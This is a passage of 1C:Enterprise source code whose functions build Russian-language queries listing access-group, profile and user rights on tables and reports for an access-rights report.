| ГруппыДоступаПользователей.ГруппаДоступа, | ЗНАЧЕНИЕ(Перечисление.ДополнительныеЗначенияДоступа.Неопределено), | NULL, | NULL | ИЗ | ГруппыДоступаПользователей КАК ГруппыДоступаПользователей) КАК ВидыИЗначенияДоступа |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ПустыеСсылкиЗначенийДоступа.ПустаяСсылка КАК ПустаяСсылка, | ПустыеСсылкиЗначенийДоступа.Представление КАК Представление |ПОМЕСТИТЬ ПустыеСсылкиЗначенийДоступа |ИЗ | &ПустыеСсылкиЗначенийДоступа КАК ПустыеСсылкиЗначенийДоступа |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ГруппыДоступа.Профиль | ИНАЧЕ ГруппыДоступа.Ссылка | КОНЕЦ КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение КАК ПравоИзменение, | ПраваПрофилей.ПравоДобавление КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ПраваПрофилей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваПрофилей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваПрофилей.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование КАК ПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | ПраваПрофилей.ПравоЧтение | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоЧтение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоЧтение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоЧтение, | ПраваПрофилей.ПравоИзменение | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоИзменение, | ПраваПрофилей.ПравоДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоЧтение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоЧтение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ВидДоступаПраво, | ЛОЖЬ КАК ВидДоступаПравоЧтениеБезОграничения, | ЛОЖЬ КАК ВидДоступаПравоИзменениеБезОграничения, | ЛОЖЬ КАК ВидДоступаПравоДобавлениеБезОграничения, | 0 КАК ВидДоступаПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоЧтение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоЧтение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоПросмотр, | ПраваПрофилей.ПравоРедактирование | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) КАК ВидДоступаПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоИзменение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоИзменение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | И (ЕСТЬNULL(ВидыОграниченийПрав.ПравоЧтение, ЛОЖЬ) | ИЛИ ЕСТЬNULL(ВидыОграниченийПравБезусловные.ПравоЧтение, ЛОЖЬ) | ИЛИ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | И ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL) | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ВидДоступаПравоИнтерактивное, | ВЫБОР | КОГДА НЕ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | ТОГДА ВидыОграниченийПрав.ВидДоступа | КОГДА НЕ ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL | ТОГДА ВидыОграниченийПравБезусловные.ВидДоступа | ИНАЧЕ НЕОПРЕДЕЛЕНО | КОНЕЦ КАК ВидДоступа, | ВЫБОР | КОГДА НЕ(ПраваПрофилей.ПравоЧтение | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | ИЛИ ПраваПрофилей.ПравоИзменение | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | ИЛИ ПраваПрофилей.ПравоДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения) | ТОГДА &ТекстБезОграничения | КОГДА НЕ ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | ТОГДА ВидыОграниченийПрав.ВидДоступаПредставление + ВЫБОР | КОГДА ВидыИЗначенияДоступа.ВсеРазрешены ЕСТЬ NULL | ТОГДА """" | КОГДА ВидыИЗначенияДоступа.ВсеРазрешены = ЛОЖЬ | ТОГДА ВЫБОР | КОГДА ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) = ТИП(Справочник.ВнешниеПользователи) | ТОГДА &ТекстРазрешенныеПользователи | ИНАЧЕ &ТекстРазрешенные | КОНЕЦ | ИНАЧЕ ВЫБОР | КОГДА ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) = ТИП(Справочник.ВнешниеПользователи) | ТОГДА &ТекстЗапрещенныеПользователи | ИНАЧЕ &ТекстЗапрещенные | КОНЕЦ | КОНЕЦ | КОГДА НЕ ВидыОграниченийПравБезусловные.ВидДоступа ЕСТЬ NULL | ТОГДА ВидыОграниченийПравБезусловные.ВидДоступаПредставление | ИНАЧЕ ВЫБОР | КОГДА ПраваПрофилей.Таблица В (&ВсеТаблицыСОграничением) | ТОГДА &ОграничениеОтключено | ИНАЧЕ &НестандартноеОграничение | КОНЕЦ | КОНЕЦ КАК ВидДоступаПредставление, | ЕСТЬNULL(ВидыИЗначенияДоступа.ВсеРазрешены, ЛОЖЬ) КАК ВсеРазрешены, | ВЫБОР | КОГДА ВидыОграниченийПрав.ВидДоступа ЕСТЬ NULL | ИЛИ ТИПЗНАЧЕНИЯ(ВидыОграниченийПрав.ВидДоступа) = ТИП(Перечисление.ДополнительныеЗначенияДоступа) | ТОГДА """" | КОГДА НЕ ПустыеСсылкиЗначенийДоступа.Представление ЕСТЬ NULL | ТОГДА ПустыеСсылкиЗначенийДоступа.Представление | КОГДА ВидыИЗначенияДоступа.ЗначениеДоступа ЕСТЬ NULL | ИЛИ ВидыИЗначенияДоступа.ЗначениеДоступа = НЕОПРЕДЕЛЕНО | ТОГДА ВЫБОР | КОГДА ВидыИЗначенияДоступа.ВсеРазрешены | ТОГДА &ТекстВсеРазрешены | ИНАЧЕ &ТекстВсеЗапрещены | КОНЕЦ | ИНАЧЕ ВидыИЗначенияДоступа.ЗначениеДоступа | КОНЕЦ КАК ЗначениеДоступа, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ПраваПрофилей.Профиль) | И (НЕ ГруппыДоступа.ПометкаУдаления) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ЛЕВОЕ СОЕДИНЕНИЕ ВидыОграниченийПрав КАК ВидыОграниченийПрав | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ВидыИЗначенияДоступа КАК ВидыИЗначенияДоступа | ПО (ВидыИЗначенияДоступа.ВидДоступа = ВидыОграниченийПрав.ВидДоступа) | И (ВидыОграниченийПрав.ВидДоступа <> ЗНАЧЕНИЕ(Перечисление.ДополнительныеЗначенияДоступа.ДоступРазрешен)) | И (ВидыОграниченийПрав.ВидДоступа <> ЗНАЧЕНИЕ(Перечисление.ДополнительныеЗначенияДоступа.ДоступЗапрещен)) | ПО (ВидыОграниченийПрав.Таблица = ПраваПрофилей.Таблица) | И (ВидыИЗначенияДоступа.ГруппаДоступа = ГруппыДоступа.Ссылка) | И (НЕ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыПользователей)) | ИЛИ ВидыОграниченийПрав.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ВнешниеПользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей))) | И (ПраваПрофилей.ПравоЧтение | И НЕ ПраваПрофилей.ПравоЧтениеБезОграничения | И ВидыОграниченийПрав.ПравоЧтение | ИЛИ ПраваПрофилей.ПравоИзменение | И НЕ ПраваПрофилей.ПравоИзменениеБезОграничения | И ВидыОграниченийПрав.ПравоИзменение | ИЛИ ПраваПрофилей.ПравоДобавление | И НЕ ПраваПрофилей.ПравоДобавлениеБезОграничения | И ВидыОграниченийПрав.ПравоИзменение) | ЛЕВОЕ СОЕДИНЕНИЕ ВидыОграниченийПрав КАК ВидыОграниченийПравБезусловные | ПО (ВидыОграниченийПравБезусловные.Таблица = ПраваПрофилей.Таблица) | И (ВидыОграниченийПравБезусловные.ВидДоступа = ЗНАЧЕНИЕ(Перечисление.ДополнительныеЗначенияДоступа.ДоступРазрешен) | ИЛИ ВидыОграниченийПравБезусловные.ВидДоступа = ЗНАЧЕНИЕ(Перечисление.ДополнительныеЗначенияДоступа.ДоступЗапрещен)) | И (НЕ ВидыОграниченийПравБезусловные.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.Пользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыПользователей)) | ИЛИ ВидыОграниченийПравБезусловные.ДляВнешнихПользователей | И (ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ВнешниеПользователи) | ИЛИ ТИПЗНАЧЕНИЯ(УчастникиГруппДоступа.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей))) | ЛЕВОЕ СОЕДИНЕНИЕ ПустыеСсылкиЗначенийДоступа КАК ПустыеСсылкиЗначенийДоступа | ПО (ПустыеСсылкиЗначенийДоступа.ПустаяСсылка = ВидыИЗначенияДоступа.ЗначениеДоступа) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ТекстЗапросаСГруппировкойПоОтчетамДополнение() Возврат "ВЫБРАТЬ | ПраваРолейНаОтчеты.Отчет КАК ОтчетСсылка, | ПраваРолейНаОтчеты.Роль КАК Роль |ПОМЕСТИТЬ ПраваРолейНаОтчеты |ИЗ | &ПраваРолейНаОтчеты КАК ПраваРолейНаОтчеты |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ПрофилиГруппДоступаРоли.Ссылка КАК Профиль, | ПраваРолейНаОтчеты.ОтчетСсылка КАК ОтчетСсылка |ПОМЕСТИТЬ ПраваПрофилейНаОтчеты |ИЗ | ПраваРолейНаОтчеты КАК ПраваРолейНаОтчеты | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ПрофилиГруппДоступа.Роли КАК ПрофилиГруппДоступаРоли | ПО ПраваРолейНаОтчеты.Роль = ПрофилиГруппДоступаРоли.Роль | И (НЕ ПрофилиГруппДоступаРоли.Ссылка.ПометкаУдаления) | |ИНДЕКСИРОВАТЬ ПО | ОтчетСсылка |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ТаблицыОтчетов.Отчет КАК ОтчетСсылка, | ТаблицыОтчетов.ОбъектМетаданных КАК Таблица |ПОМЕСТИТЬ ТаблицыОтчетов |ИЗ | &ТаблицыОтчетов КАК ТаблицыОтчетов |ГДЕ | &ОтборОтчетовПоТаблицам | |ИНДЕКСИРОВАТЬ ПО | Таблица |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ТаблицыОтчетовСПравами.ОтчетСсылка КАК ОтчетСсылка, | ТаблицыОтчетовСПравами.Таблица КАК Таблица, | ТаблицыОтчетовСПравами.Профиль КАК Профиль, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоОтчета) КАК ПравоОтчета, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоЧтение) КАК ПравоЧтение, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоИзменение) КАК ПравоИзменение, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоДобавление) КАК ПравоДобавление, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоЧтениеБезОграничения) КАК ПравоЧтениеБезОграничения, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоИзменениеБезОграничения) КАК ПравоИзменениеБезОграничения, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоДобавлениеБезОграничения) КАК ПравоДобавлениеБезОграничения, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоПросмотр) КАК ПравоПросмотр, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоРедактирование) КАК ПравоРедактирование, | МАКСИМУМ(ТаблицыОтчетовСПравами.ПравоИнтерактивноеДобавление) КАК ПравоИнтерактивноеДобавление |ПОМЕСТИТЬ ПраваПрофилей |ИЗ | (ВЫБРАТЬ | ТаблицыОтчетов.ОтчетСсылка КАК ОтчетСсылка, | ТаблицыОтчетов.Таблица КАК Таблица, | ПраваПрофилейНаОтчеты.Профиль КАК Профиль, | ИСТИНА КАК ПравоОтчета, | ЛОЖЬ КАК ПравоЧтение, | ЛОЖЬ КАК ПравоИзменение, | ЛОЖЬ КАК ПравоДобавление, | ЛОЖЬ КАК ПравоЧтениеБезОграничения, | ЛОЖЬ КАК ПравоИзменениеБезОграничения, | ЛОЖЬ КАК ПравоДобавлениеБезОграничения, | ЛОЖЬ КАК ПравоПросмотр, | ЛОЖЬ КАК ПравоРедактирование, | ЛОЖЬ КАК ПравоИнтерактивноеДобавление | ИЗ | ТаблицыОтчетов КАК ТаблицыОтчетов | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ПраваПрофилейНаОтчеты КАК ПраваПрофилейНаОтчеты | ПО (ПраваПрофилейНаОтчеты.ОтчетСсылка = ТаблицыОтчетов.ОтчетСсылка) | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | ТаблицыОтчетов.ОтчетСсылка, | ТаблицыОтчетов.Таблица, | ПраваПрофилейНаТаблицы.Профиль, | ЛОЖЬ, | ПраваПрофилейНаТаблицы.ПравоЧтение, | ПраваПрофилейНаТаблицы.ПравоИзменение, | ПраваПрофилейНаТаблицы.ПравоДобавление, | ПраваПрофилейНаТаблицы.ПравоЧтениеБезОграничения, | ПраваПрофилейНаТаблицы.ПравоИзменениеБезОграничения, | ПраваПрофилейНаТаблицы.ПравоДобавлениеБезОграничения, | ПраваПрофилейНаТаблицы.ПравоПросмотр, | ПраваПрофилейНаТаблицы.ПравоРедактирование, | ПраваПрофилейНаТаблицы.ПравоИнтерактивноеДобавление | ИЗ | ТаблицыОтчетов КАК ТаблицыОтчетов | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ПраваПрофилейНаТаблицы КАК ПраваПрофилейНаТаблицы | ПО (ПраваПрофилейНаТаблицы.Таблица = ТаблицыОтчетов.Таблица) | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | ТаблицыОтчетов.ОтчетСсылка, | ТаблицыОтчетов.Таблица, | ЗНАЧЕНИЕ(Справочник.ПрофилиГруппДоступа.ПустаяСсылка), | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ | ИЗ | ТаблицыОтчетов КАК ТаблицыОтчетов | ГДЕ | НЕ ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | ПраваПрофилейНаОтчеты КАК ПраваПрофилейНаОтчеты | ГДЕ | ПраваПрофилейНаОтчеты.ОтчетСсылка = ТаблицыОтчетов.ОтчетСсылка) | И НЕ ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | ПраваПрофилейНаТаблицы КАК ПраваПрофилейНаТаблицы | ГДЕ | ПраваПрофилейНаТаблицы.Таблица = ТаблицыОтчетов.Таблица)) КАК ТаблицыОтчетовСПравами | |СГРУППИРОВАТЬ ПО | ТаблицыОтчетовСПравами.ОтчетСсылка, | ТаблицыОтчетовСПравами.Таблица, | ТаблицыОтчетовСПравами.Профиль"; КонецФункции Функция ТекстЗапросаСГруппировкойПоОтчетам() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПрофилей.ОтчетСсылка КАК ОтчетСсылка, | ВЫБОР | КОГДА ПраваПрофилей.ПравоОтчета | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоОтчета, | ПраваПрофилей.Таблица КАК ОбъектМетаданных, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ГруппыДоступа.Профиль | ИНАЧЕ ГруппыДоступа.Ссылка | КОНЕЦ КАК ГруппаДоступа, | ПраваПрофилей.ПравоЧтение КАК ПравоЧтение, | ПраваПрофилей.ПравоИзменение КАК ПравоИзменение, | ПраваПрофилей.ПравоДобавление КАК ПравоДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменение | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтение | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК Право, | ПраваПрофилей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваПрофилей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваПрофилей.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ВЫБОР | КОГДА ПраваПрофилей.ПравоДобавлениеБезОграничения | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоИзменениеБезОграничения | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоЧтениеБезОграничения | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоБезОграничения, | ПраваПрофилей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПрофилей.ПравоРедактирование КАК ПравоРедактирование, | ПраваПрофилей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ВЫБОР | КОГДА ПраваПрофилей.ПравоИнтерактивноеДобавление | ТОГДА 3 | КОГДА ПраваПрофилей.ПравоРедактирование | ТОГДА 2 | КОГДА ПраваПрофилей.ПравоПросмотр | ТОГДА 1 | ИНАЧЕ 0 | КОНЕЦ КАК ПравоИнтерактивное, | СоставыГруппПользователей.Пользователь КАК Пользователь, | ЕСТЬNULL(СведенияОПользователях.ВходВПрограммуРазрешен, ЛОЖЬ) КАК ВходВПрограммуРазрешен |ПОМЕСТИТЬ ПраваПользователей |ИЗ | ПраваПрофилей КАК ПраваПрофилей | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа КАК ГруппыДоступа | ПО (ГруппыДоступа.Профиль = ПраваПрофилей.Профиль) | И (НЕ ГруппыДоступа.ПометкаУдаления) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ Справочник.ГруппыДоступа.Пользователи КАК УчастникиГруппДоступа | ПО (УчастникиГруппДоступа.Ссылка = ГруппыДоступа.Ссылка) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО (СоставыГруппПользователей.ГруппаПользователей = УчастникиГруппДоступа.Пользователь) | И (ЕСТЬNULL(СоставыГруппПользователей.Пользователь.Служебный, ЛОЖЬ) <> ИСТИНА) | И (&УсловиеОтбораПоПользователям) | ЛЕВОЕ СОЕДИНЕНИЕ РегистрСведений.СведенияОПользователях КАК СведенияОПользователях | ПО (СведенияОПользователях.Пользователь = СоставыГруппПользователей.Пользователь)"; КонецФункции Функция ТекстЗапросаСГруппировкойПоОтчетамКонечный() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | ПраваПользователей.Пользователь КАК Пользователь, | ПраваПользователей.ВходВПрограммуРазрешен КАК ВходВПрограммуРазрешен |ПОМЕСТИТЬ ПользователиСПравами |ИЗ | ПраваПользователей КАК ПраваПользователей |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ | ПраваПользователей.ОтчетСсылка КАК ОтчетСсылка, | ПраваПользователей.ПравоОтчета КАК ПравоОтчета, | ПраваПользователей.ОбъектМетаданных КАК ОбъектМетаданных, | ПраваПользователей.ГруппаДоступа КАК ГруппаДоступа, | ПраваПользователей.ПравоЧтение КАК ПравоЧтение, | ПраваПользователей.ПравоИзменение КАК ПравоИзменение, | ПраваПользователей.ПравоДобавление КАК ПравоДобавление, | ПраваПользователей.Право КАК Право, | ПраваПользователей.ПравоЧтениеБезОграничения КАК ПравоЧтениеБезОграничения, | ПраваПользователей.ПравоИзменениеБезОграничения КАК ПравоИзменениеБезОграничения, | ПраваПользователей.ПравоДобавлениеБезОграничения КАК ПравоДобавлениеБезОграничения, | ПраваПользователей.ПравоБезОграничения КАК ПравоБезОграничения, | ПраваПользователей.ПравоПросмотр КАК ПравоПросмотр, | ПраваПользователей.ПравоРедактирование КАК ПравоРедактирование, | ПраваПользователей.ПравоИнтерактивноеДобавление КАК ПравоИнтерактивноеДобавление, | ПраваПользователей.ПравоИнтерактивное КАК ПравоИнтерактивное, | ПраваПользователей.Пользователь КАК Пользователь, | ПраваПользователей.ВходВПрограммуРазрешен КАК ВходВПрограммуРазрешен |ИЗ | ПраваПользователей КАК ПраваПользователей | |ОБЪЕДИНИТЬ ВСЕ | |ВЫБРАТЬ | ТаблицыОтчетов.ОтчетСсылка, | 0, | ТаблицыОтчетов.Таблица, | ВЫБОР | КОГДА &УпрощенныйИнтерфейсНастройкиПравДоступа | ТОГДА ЗНАЧЕНИЕ(Справочник.ПрофилиГруппДоступа.ПустаяСсылка) | ИНАЧЕ ЗНАЧЕНИЕ(Справочник.ГруппыДоступа.ПустаяСсылка) | КОНЕЦ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | ЛОЖЬ, | 0, | ПользователиСПравами.Пользователь, | ПользователиСПравами.ВходВПрограммуРазрешен |ИЗ | ТаблицыОтчетов КАК ТаблицыОтчетов | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ПользователиСПравами КАК ПользователиСПравами | ПО (НЕ ИСТИНА В | (ВЫБРАТЬ ПЕРВЫЕ 1 | ИСТИНА | ИЗ | ПраваПользователей КАК ПраваПользователей | ГДЕ | ПраваПользователей.ОтчетСсылка = ТаблицыОтчетов.ОтчетСсылка | И ПраваПользователей.ОбъектМетаданных = ТаблицыОтчетов.Таблица | И ПраваПользователей.Пользователь = ПользователиСПравами.Пользователь))"; КонецФункции Функция ТекстЗапросаДляЗначенияДоступаНачало() Возврат "ВЫБРАТЬ РАЗЛИЧНЫЕ | 